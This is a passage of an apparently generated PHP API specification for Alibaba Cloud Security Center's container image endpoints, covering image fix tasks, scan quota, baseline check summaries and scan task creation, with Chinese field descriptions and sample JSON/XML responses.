\\"Tag\\": \\"v1\\",\\n \\"ImageUpdate\\": 1636974116000,\\n \\"InstanceId\\": \\"cri-a595qp31knh9****\\",\\n \\"LowRiskImage\\": 0,\\n \\"RepoType\\": \\"PRIVATE\\",\\n \\"RegionId\\": \\"cn-beijing\\",\\n \\"Uuid\\": \\"f58681174f944623345379e23b7b****\\",\\n \\"ImageSize\\": 157408623,\\n \\"RepoId\\": \\"crr-1lt6q7167yh6****\\",\\n \\"TotalItemCount\\": 3,\\n \\"HighRiskImage\\": 1,\\n \\"NoRiskImage\\": 0,\\n \\"ImageId\\": \\"cddb5fd33b34a1fabb358d0a19497cdfe362fe624821cb250947af0ea5cc****\\",\\n \\"RepoName\\": \\"scanner\\",\\n \\"ClusterId\\": \\"c08d5fc1a329a4b88950a253d082f1****\\",\\n \\"ClusterName\\": \\"docker-law\\",\\n \\"RepoNamespace\\": \\"libssh2\\",\\n \\"Pod\\": \\"22222-7xsqq\\",\\n \\"Namespace\\": \\"test-002\\",\\n \\"ContainerId\\": \\"04d20e98c8e2c93b7b864372084320a15a58c8671e53c972ce3a71d9c163****\\",\\n \\"Image\\": \\"registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-conta****\\",\\n \\"InstanceName\\": \\"pre.mongo-196\\",\\n \\"InternetIp\\": \\"47.96.XX.XX\\",\\n \\"IntranetIp\\": \\"172.16.XX.XX\\",\\n \\"TargetName\\": \\"spod\\",\\n \\"TargetId\\": \\"m-bp17m0pc0xprzbwo****\\",\\n \\"TargetType\\": \\"ECS_IMAGE\\",\\n \\"LastScanTime\\": 1649814050000,\\n \\"FirstScanTime\\": 1649814050000\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 5B8C2156-2DB9-5A42-99E7-F2ED5AE9EA1F\\n \\n 1\\n 10\\n 1\\n 1\\n \\n \\n 0\\n YES\\n 1636962328000\\n 2e6daffce524ffeae66cccaa90c8fc47de912346dcec295c27395b6d66db6423\\n v1\\n 1636974116000\\n cri-a595qp31knh9****\\n 0\\n PRIVATE\\n cn-beijing\\n f58681174f944623345379e23b7b****\\n 157408623\\n crr-1lt6q7167yh6****\\n 3\\n 1\\n 0\\n cddb5fd33b34a1fabb358d0a19497cdfe362fe624821cb250947af0ea5cc****\\n scanner\\n sas\\n \\n","errorExample":""}]', + 'title' => '查看镜像基线检查结果的详情列表', + ], + 'DescribeImageFixTask' => [ + 'summary' => '查询已创建的镜像修复任务的列表。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的修复任务开始的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1634725571000', + ], + ], + [ + 'name' => 'EndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的修复任务结束的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1635575219000', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的镜像修复任务的状态。取值：'."\n" + ."\n" + .'- **1**：修复中'."\n" + .'- **2**：修复成功'."\n" + .'- **3**：修复失败', + 'type' => 'string', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页中显示的修复任务的数量。默认值为**20**，表示每页显示20条修复任务。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '8AC52BBA-85D3-5F64-9B48-D08437CAF916', + ], + 'PageInfo' => [ + 'description' => '页面显示信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页中显示的修复任务的数量。默认值为**20**，表示每页显示20条修复任务。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的镜像修复任务的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '12', + ], + 'Count' => [ + 'description' => '当前页面显示的镜像修复任务的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '12', + ], + ], + ], + 'BuildTasks' => [ + 'description' => '镜像修复任务的详细信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'BuildTaskId' => [ + 'description' => '镜像修复任务的ID。', + 'type' => 'string', + 'example' => 'ivf-939536b5-c3ca-427b-8183-91007756', + ], + 'TaskType' => [ + 'description' => '镜像修复任务的类型。此处为固定值：IMAGE_REPAIR，表示镜像修复。', + 'type' => 'string', + 'example' => 'IMAGE_REPAIR', + ], + 'RepoNamespace' => [ + 'description' => '镜像的命名空间。', + 'type' => 'string', + 'example' => 'name-002', + ], + 'RepoName' => [ + 'description' => '镜像仓库的名称。', + 'type' => 'string', + 'example' => 'test-redhat', + ], + 'RegionId' => [ + 'description' => '镜像的地域。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'OldTag' => [ + 'description' => '镜像的版本。', + 'type' => 'string', + 'example' => 'centos8.1-ja', + ], + 'OldUuid' => [ + 'description' => '镜像的UUID。', + 'type' => 'string', + 'example' => '2fa731681911ae8d1b5f11893ace****', + ], + 'NewTag' => [ + 'description' => '镜像的修复版本。', + 'type' => 'string', + 'example' => 'redhat8-vault', + ], + 'NewUuid' => [ + 'description' => '修复后镜像UUID。', + 'type' => 'string', + 'example' => '2fa731681911ae8d1b5f11893ace****', + ], + 'FixTime' => [ + 'description' => '修复任务结束的时间戳，单位为毫秒。', + 'type' => 'string', + 'example' => '2021-10-14 20:32:05', + ], + 'FinishTime' => [ + 'description' => '修复任务开始的时间戳，单位为毫秒。', + 'type' => 'string', + 'example' => '2021-10-14 20:34:07', + ], + 'Status' => [ + 'description' => '镜像修复任务的状态。取值：'."\n" + ."\n" + .'- **1**：修复中'."\n" + .'- **2**：修复成功'."\n" + .'- **3**：修复失败', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'VulAlias' => [ + 'description' => '修复的漏洞名称。', + 'type' => 'string', + 'example' => 'CVE-2007-5686:rpath_linux Information Disclosure', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"8AC52BBA-85D3-5F64-9B48-D08437CAF916\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 12,\\n \\"Count\\": 12\\n },\\n \\"BuildTasks\\": [\\n {\\n \\"BuildTaskId\\": \\"ivf-939536b5-c3ca-427b-8183-91007756\\",\\n \\"TaskType\\": \\"IMAGE_REPAIR\\",\\n \\"RepoNamespace\\": \\"name-002\\",\\n \\"RepoName\\": \\"test-redhat\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"OldTag\\": \\"centos8.1-ja\\",\\n \\"OldUuid\\": \\"2fa731681911ae8d1b5f11893ace****\\",\\n \\"NewTag\\": \\"redhat8-vault\\",\\n \\"NewUuid\\": \\"2fa731681911ae8d1b5f11893ace****\\",\\n \\"FixTime\\": \\"2021-10-14 20:32:05\\",\\n \\"FinishTime\\": \\"2021-10-14 20:34:07\\",\\n \\"Status\\": 2,\\n \\"VulAlias\\": \\"CVE-2007-5686:rpath_linux Information Disclosure\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 8AC52BBA-85D3-5F64-9B48-D08437CAF916\\n \\n 1\\n 20\\n 12\\n 12\\n \\n \\n ivf-939536b5-c3ca-427b-8183-91007756\\n IMAGE_REPAIR\\n name-002\\n test-redhat\\n cn-hangzhou\\n centos8.1-ja\\n 2fa731681911ae8d1b5f11893ace****\\n redhat8-vault\\n 2fa731681911ae8d1b5f11893ace****\\n 2021-10-14 20:32:05\\n 2021-10-14 20:34:07\\n 2\\n \\n","errorExample":""}]', + 'title' => '查询已创建的镜像修复任务的列表', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeImageScanAuthCount' => [ + 'summary' => '查询镜像安全扫描的授权数信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '892NYH839-0EDC-4CD0-A2EF-5BD294656C99', + ], + 'ImageScan' => [ + 'description' => '镜像安全扫描的授权信息详情。', + 'type' => 'object', + 'properties' => [ + 'ScanCount' => [ + 'description' => '授权数使用量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '5489', + ], + 'ImageScanCapacity' => [ + 'description' => '总授权数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '15340', + ], + 'InstanceId' => [ + 'description' => '已购买的云安全中心的实例ID。', + 'type' => 'string', + 'example' => 'sas-qdl123412****', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"892NYH839-0EDC-4CD0-A2EF-5BD294656C99\\",\\n \\"ImageScan\\": {\\n \\"ScanCount\\": 5489,\\n \\"ImageScanCapacity\\": 15340,\\n \\"InstanceId\\": \\"sas-qdl123412****\\"\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 892NYH839-0EDC-4CD0-A2EF-5BD294656C99\\n \\n 5489\\n 15340\\n sas-qdl123412****\\n \\n","errorExample":""}]', + 'title' => '查询镜像安全扫描的授权数信息', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeImageBaselineCheckSummary' => [ + 'summary' => '查询镜像安全扫描的镜像基线检查列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'RiskLevel', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的基线的风险等级。多个等级用英文逗号（,）分隔。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + ."\n" + .'- **medium**：中危'."\n" + ."\n" + .'- **low**：低危', + 'type' => 'string', + 'required' => false, + 'example' => 'high', + ], + ], + [ + 'name' => 'Criteria', + 'in' => 'query', + 'schema' => [ + 'description' => '基线的查询条件。', + 'type' => 'string', + 'required' => false, + 'example' => 'Unauthorized access', + ], + ], + [ + 'name' => 'CriteriaType', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的基线的查询类型。取值：'."\n" + ."\n" + .'- **BaselineNameAlias**：基线名称'."\n" + ."\n" + .'- **BaselineClassAlias**：基线分类', + 'type' => 'string', + 'required' => false, + 'example' => 'BaselineNameAlias', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页显示的数据的最大条数。默认值为**20**。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '从返回结果中的第几页开始显示。起始值为**1**。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'c60b77fe62093480db6164a3c2fa5****', + ], + ], + [ + 'name' => 'ScanRange', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '扫描范围集合。', + 'type' => 'array', + 'items' => [ + 'description' => '扫描范围。取值：'."\n" + ."\n" + .'- **container**：容器'."\n" + .'- **image**：镜像', + 'type' => 'string', + 'required' => false, + 'example' => 'container', + ], + 'required' => false, + 'maxItems' => 2, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '5BD95679-D63A-4151-97D0-188432F4A57', + ], + 'PageInfo' => [ + 'description' => '分页查询时页面显示的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的镜像基线检查结果的数量。默认值为**20**，表示每页显示20条镜像基线检查结果。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询结果的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + ], + ], + 'BaselineResultSummary' => [ + 'description' => '镜像基线检查列表详情。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '基线风险的修复状态。取值：'."\n" + .'- **0**：未修复'."\n" + .'- **1**：已修复'."\n" + .'- **2**：待验证'."\n" + .'- **3**：修复失败'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'MiddleRiskImage' => [ + 'description' => '存在基线风险问题的风险等级为**中危**镜像的数量。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'BaselineNameLevel' => [ + 'description' => '基线的风险等级。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + ."\n" + .'- **medium**：中危'."\n" + ."\n" + .'- **low**：低危', + 'type' => 'string', + 'example' => 'high', + ], + 'LastScanTime' => [ + 'description' => '最新扫描的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1626628760000', + ], + 'HighRiskImage' => [ + 'description' => '存在基线风险问题的风险等级为**高危**镜像的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '15', + ], + 'BaselineNameKey' => [ + 'description' => '基线名称的关键字。', + 'type' => 'string', + 'example' => 'hc_image_exploit', + ], + 'BaselineClassKey' => [ + 'description' => '基线分类的关键字。', + 'type' => 'string', + 'example' => 'hc_image_exploit', + ], + 'BaselineNameAlias' => [ + 'description' => '基线名称。', + 'type' => 'string', + 'example' => 'Unauthorized access', + ], + 'BaselineClassAlias' => [ + 'description' => '基线分类。', + 'type' => 'string', + 'example' => 'Unauthorized access', + ], + 'FirstScanTime' => [ + 'description' => '首次扫描的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1626628760000', + ], + 'LowRiskImage' => [ + 'description' => '存在基线风险问题的风险等级为**低危**镜像的数量。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"5BD95679-D63A-4151-97D0-188432F4A57\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 3,\\n \\"Count\\": 3\\n },\\n \\"BaselineResultSummary\\": [\\n {\\n \\"Status\\": 0,\\n \\"MiddleRiskImage\\": 0,\\n \\"BaselineNameLevel\\": \\"high\\",\\n \\"LastScanTime\\": 1626628760000,\\n \\"HighRiskImage\\": 15,\\n \\"BaselineNameKey\\": \\"hc_image_exploit\\",\\n \\"BaselineClassKey\\": \\"hc_image_exploit\\",\\n \\"BaselineNameAlias\\": \\"Unauthorized access\\",\\n \\"BaselineClassAlias\\": \\"Unauthorized access\\",\\n \\"FirstScanTime\\": 1626628760000,\\n \\"LowRiskImage\\": 0\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 5BD95679-D63A-4151-97D0-188432F4A57\\n \\n 1\\n 20\\n 3\\n 3\\n \\n \\n 0\\n 0\\n high\\n 1626628760000\\n 15\\n hc_image_exploit\\n hc_image_exploit\\n 未授权访问\\n 未授权访问\\n 1626628760000\\n 0\\n \\n","errorExample":""}]', + 'title' => '查询镜像安全扫描的镜像基线检查列表', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'PublicPreCheckImageScanTask' => [ + 'summary' => '查询容器镜像安全扫描覆盖的镜像数和待消耗的授权数。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '119144', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'RegistryTypes', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓的类型。多个镜像仓的类型之间使用半角逗号（,）分隔。取值：'."\n" + ."\n" + .'- **acr**'."\n" + .'- **harbor**'."\n" + .'- **quay**', + 'type' => 'string', + 'required' => false, + 'example' => 'acr', + ], + ], + [ + 'name' => 'RegionIds', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像的地域ID。多个地域ID之间使用半角逗号（,）分隔。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'InstanceIds', + 'in' => 'query', + 'schema' => [ + 'description' => 'ACR镜像仓实例的ID。多个实例的ID之间使用半角逗号（,）分隔。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-uf6j8vq9l4r5ntht****', + ], + ], + [ + 'name' => 'RepoNamespaces', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓的命名空间。多个命名空间之间使用半角逗号（,）分隔。', + 'type' => 'string', + 'required' => false, + 'example' => 'hanghai-namespace', + ], + ], + [ + 'name' => 'RepoIds', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓的ID。多个镜像仓的ID之间使用半角逗号（,）分隔。', + 'type' => 'string', + 'required' => false, + 'example' => 'crr-vridcl4****', + ], + ], + [ + 'name' => 'RepoNames', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓的名称。多个镜像仓的名称之间使用半角逗号（,）分隔。', + 'type' => 'string', + 'required' => false, + 'example' => 'centos', + ], + ], + [ + 'name' => 'Digests', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像的摘要的SHA256值。多个摘要的SHA256值之间使用半角逗号（,）分隔。', + 'type' => 'string', + 'required' => false, + 'example' => '6a5e103187b31a94592a47a5858617f7****', + ], + ], + [ + 'name' => 'Tags', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像的标签。多个标签之间使用半角逗号（,）分隔。', + 'type' => 'string', + 'required' => false, + 'example' => '0.2', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F9353221-40F4-5F98-B73C-2803DC804033', + ], + 'Data' => [ + 'description' => '接口调用成功时，返回的数据。', + 'type' => 'object', + 'properties' => [ + 'ScanImageCount' => [ + 'description' => '镜像安全扫描待消耗的授权数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'NeedAuthCount' => [ + 'description' => '镜像安全扫描覆盖的镜像的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '6', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"F9353221-40F4-5F98-B73C-2803DC804033\\",\\n \\"Data\\": {\\n \\"ScanImageCount\\": 3,\\n \\"NeedAuthCount\\": 6\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n F9353221-40F4-5F98-B73C-2803DC804033\\n \\n 3\\n 6\\n \\n","errorExample":""}]', + 'title' => '查询容器镜像安全扫描覆盖的镜像数和待消耗的授权数', + 'description' => '本接口可帮您预检镜像安全扫描待消耗的授权数，以确保您在创建镜像安全扫描任务之前，已知晓镜像安全扫描任务消耗的授权数。如果授权数不足，您需要购买足够的授权数，以避免因授权数不足导致镜像安全扫描任务执行中断。'."\n" + ."\n" + .'调用本接口时，如果未设置非必选的请求参数，则查询扫描所有容器镜像覆盖的镜像数和待消耗的授权数。如果设置了非必选的请求参数，则按照所设置的参数，筛选符合条件的容器镜像在进行安全扫描时覆盖的镜像数和待消耗的授权数。', + ], + 'PublicCreateImageScanTask' => [ + 'summary' => '创建镜像扫描任务，不受单个主任务的限制。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '119152', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168..XX.XX', + ], + ], + [ + 'name' => 'RegistryTypes', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓的类型。多个镜像仓的类型之间使用半角逗号（,）分隔。取值：'."\n" + ."\n" + .'- **acr**'."\n" + .'- **harbor**'."\n" + .'- **quay**', + 'type' => 'string', + 'required' => false, + 'example' => 'acr', + ], + ], + [ + 'name' => 'RegionIds', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像的地域ID。多个地域ID之间使用半角逗号（,）分隔。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'InstanceIds', + 'in' => 'query', + 'schema' => [ + 'description' => 'ACR镜像仓实例的ID。多个实例的ID之间使用半角逗号（,）分隔。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-uf6j8vq9l4r5ntht****', + ], + ], + [ + 'name' => 'RepoNamespaces', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓的命名空间。多个命名空间之间使用半角逗号（,）分隔。', + 'type' => 'string', + 'required' => false, + 'example' => 'hanghai-namespace', + ], + ], + [ + 'name' => 'RepoIds', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓的ID。多个镜像仓的ID之间使用半角逗号（,）分隔。', + 'type' => 'string', + 'required' => false, + 'example' => 'crr-vridcl4****', + ], + ], + [ + 'name' => 'RepoNames', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓的名称。多个镜像仓的名称之间使用半角逗号（,）分隔。', + 'type' => 'string', + 'required' => false, + 'example' => 'centos', + ], + ], + [ + 'name' => 'Digests', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像的摘要的SHA256值。多个摘要的SHA256值之间使用半角逗号（,）分隔。', + 'type' => 'string', + 'required' => false, + 'example' => '6a5e103187b31a94592a47a5858617f7a6c', + ], + ], + [ + 'name' => 'Tags', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像的标签。多个标签之间使用半角逗号（,）分隔。', + 'type' => 'string', + 'required' => false, + 'example' => '0.2', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F9353221-40F4-5F98-B73C-2803DC804033', + ], + 'Data' => [ + 'description' => '接口调用成功时，返回的数据。', + 'type' => 'object', + 'properties' => [ + 'TaskId' => [ + 'description' => '扫描任务的ID。', + 'type' => 'string', + 'example' => 'a410bb3e68c217a3368bc0238c66886d', + ], + 'TotalCount' => [ + 'description' => '扫描镜像的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'FinishCount' => [ + 'description' => '已完成扫描的镜像的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'CollectTime' => [ + 'description' => '采集镜像信息的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1644286364150', + ], + 'ExecTime' => [ + 'description' => '扫描任务开始运行的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1644286364150', + ], + 'Status' => [ + 'description' => '扫描任务的状态。取值：'."\n" + ."\n" + .'- **INIT**：初始化中。'."\n" + .'- **PRE_ANALYZER**：预分析中。'."\n" + .'- **SUCCESS**：执行成功。'."\n" + .'- **FAIL**：执行失败。', + 'type' => 'string', + 'example' => 'SUCCESS', + ], + 'Progress' => [ + 'description' => '扫描任务进度的百分比。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'Result' => [ + 'description' => '扫描任务的执行结果。取值：'."\n" + ."\n" + .'- **SUCCESS**：扫描任务执行成功。'."\n" + .'- **TASK\\_NOT\\_SUPPORT_REGION**：镜像在不支持扫描的地域。'."\n" + ."\n" + .'> 镜像安全扫描支持的地域，请参见本文档返回参数表后的镜像安全扫描支持的地域的表格。'."\n", + 'type' => 'string', + 'example' => 'SUCCESS', + ], + 'CanCreate' => [ + 'description' => '是否可以继续创建扫描任务。取值：'."\n" + ."\n" + .'- **true**：可以继续创建扫描任务。'."\n" + .'- **false**：无法继续创建扫描任务。'."\n" + ."\n" + .'> 默认支持同时存在10个扫描任务，超过10个扫描任务时，使用本接口创建扫描任务会失败。您需要等待已有的10个扫描任务中有扫描任务完成后，才可以继续创建新的扫描任务。', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'BeyondQuata', + 'errorMessage' => 'Please check the scan quota', + ], + [ + 'errorCode' => 'TaskNumEmpty', + 'errorMessage' => 'Create task quantity is empty.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"F9353221-40F4-5F98-B73C-2803DC804033\\",\\n \\"Data\\": {\\n \\"TaskId\\": \\"a410bb3e68c217a3368bc0238c66886d\\",\\n \\"TotalCount\\": 5,\\n \\"FinishCount\\": 5,\\n \\"CollectTime\\": 1644286364150,\\n \\"ExecTime\\": 1644286364150,\\n \\"Status\\": \\"SUCCESS\\",\\n \\"Progress\\": 